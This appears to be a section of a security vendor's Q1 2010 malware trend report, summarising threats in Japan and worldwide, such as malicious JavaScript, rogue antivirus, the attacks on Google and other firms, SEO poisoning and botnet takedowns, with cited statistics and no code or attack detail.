In Q1 of 2010, there was an increase in malicious code distribu-

tion via websites, and distribution of Win32/Bredolab and Win32/

Palevo in Japan, as well as around the world. There have also been 

reports on malicious programs, such as rogue antivirus.

Table 3-1 below shows the ranking of malicious codes included in 

“Monthly Internet Security Threat Report” 1 of Trend Micro Japan. 

1.http://jp.trendmicro.com/jp/threat/security_news/monthlyreport/index.html

2.http://www.ipa.go.jp/security/txt/2010/03outline.html

[Table 3-1] Monthly malicious code threats (Source: Trend Micro Japan) 

As you can see from the table, there were a lot of threats by mali-

cious JavaScripts. This type of malicious scripts is mostly used to 

distribute various malicious codes, so an infected system may also 

be infected by other malicious codes. These scripts usually exploit 

vulnerabilities in the OS or software to conduct actions unintend-

ed by the user and this technique is called “ganbura” in Japan. The 

problem lies in the fact that more websites are being attacked, 

which causes more damage. Table 3-2 below shows the monthly 

unauthorized computer access incidents.2 There is an increase in 

the number of incidents this year.

[Table 3-2] Monthly unauthorized access to computer (Source: IPA, Japan)

Attacks will continue to occur before security vulnerabilities are 

updated, so you must always update the software you are using 

on a regular basis, but it will not be easy to keep up to date with 

available security updates. Therefore, it is important for each indi-

vidual to be aware of security threats and the damages they may 

cause.

The chart below shows the monthly damages caused by mali-

cious codes reported by IPA.1 

1.http://www.ipa.go.jp

[Fig. 3-7] Monthly damages caused by malicious codes (Source: IPA, Japan)

[Fig. 3-7] above shows that the most distributed malicious codes 

are email worms, such as Win32/ Mydoom.worm and Win32/

Netsky.worm. But, they are gradually disappearing. The number 

of autorun is escalating, and this is expected to continue for the 

mean time. W32/Mumu and W32/Downad that spread by exploit-

ing the security vulnerability in Windows OS continued to cause 

damage. These malicious codes include a password guesser, so 

you must take caution even if you have applied security updates 

for your Windows, as it could get infected if you are using a vulner-

able password.
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3. Malicious Code Trend- World, Q1

Q1 of 2010 can be summarized as follows: rogue antivirus; tar-

get attack; exploitation of zero-day vulnerability in IE and Adobe 

Reader; and search keyword results linked to malware sites. 

Dr. Web of Russia registered over 850,000 instances of detection 

of Trojan.Winlock that displayed its own window on top of all oth-

er windows and won’t close it unless an unlock code is entered. 

EURO 7-14 per each computer for the lock code. It was mainly 

spread in Russia.1, 2 According to the statistics on viruses detected 

on user machines in January, Mydoom worm was detected the 

most, followed by Netsky worm. In February, Redlof virus was the 

most detected. According to Fortinet of Canada, Autorun and 

Bredolab are also top-ranked malware.3 

MessageLabs statistics showed 1 malicious file attached per 326.9 

emails in January, 1 malicious file attached per 302.8 emails in 

February, and 1 malicious file attached per 358.3 emails in March. 

According to Kapersky Russia, Conficker worm also ranked high in 

the list. What is interesting is that the number of Sality and Virut 

were quite high in the ranking. 

There were also reports on fake antivirus evolving. XP Internet 

Security, a rogue antivirus that supports multiple languages, in-

cluding Korean, also emerged. The translation has probably been 

done by an online translator, but the translation is not bad, and 

this could deceive users all over the world. 

On January 12, 2010, there have been targeted attacks towards 

multiple companies, including Google.This attack was not just on 

Google. At least 34 other large companies from a wide range of 

businesses - including the Internet, finance, technology, media 

and chemical sectors - have been similarly targeted. The primary 

goal of the attackers was accessing the Gmail accounts of Chinese 

human rights activists. In this attack, zero-day vulnerability with 

no security updates was exploited. Google decided to pull out of 

China in April. An attack that exploited the same vulnerability was 

discovered in Korea on January 19. Reports on targeted attack are 

rising all over the world. These attacks are targeted towards spe-

cific companies or national organizations with the goal of stealing 

information.  

1.http://news.drweb.com/show/?i=964&c=5&p=0

2.http://news.drweb.com/show/?i=898&c=5

3.http://www.fortiguard.com/reports/roundup_february_2010.html

In Finland, 127,000 IDs and passwords were stolen from a game 

and quiz site.1 In Korea, more than 20 million personal informa-

tion were stolen by Chinese hackers.2  Hackers who steal informa-

tion to make money by just modifying the main page, may use 

the information for instant messaging phishing. Malicious codes 

are still distributed through hacked websites. However, recently 

Search Engine Optimization (SEO) technique is being used. Search 

Engine Optimization (SEO) poisoning is used by attackers to get 

their malicious websites or blogs to the top of the listed results. 

The infected links will appear near the top of the search results, 

generating a greater number of clicks to malicious websites.3 

In addition, Botnets are continually being blocked. In February, 

Microsoft blocked 277 Waledac botnet domains that sent 1.5 bil-

lion spam mails. On March 2010, Spain arrested three men behind 

Mariposa botnet.4  More than 12 million computers were infected. 

This is the largest in history. Recently, malicious code distributors 

were arrested in several countries. The day is not far when we 

have to fight against cyber black markets by cooperating with se-

curity companies, Internet providers, police and the government.

1.http://www.f-secure.com/weblog/archives/00001915.html

2.http://www.etnews.co.kr/news/detail.html?id=201003160304

3.http://core.ahnlab.com/128

4.http://www.theregister.co.uk/2010/03/02/mariposa_botnet_takedown/






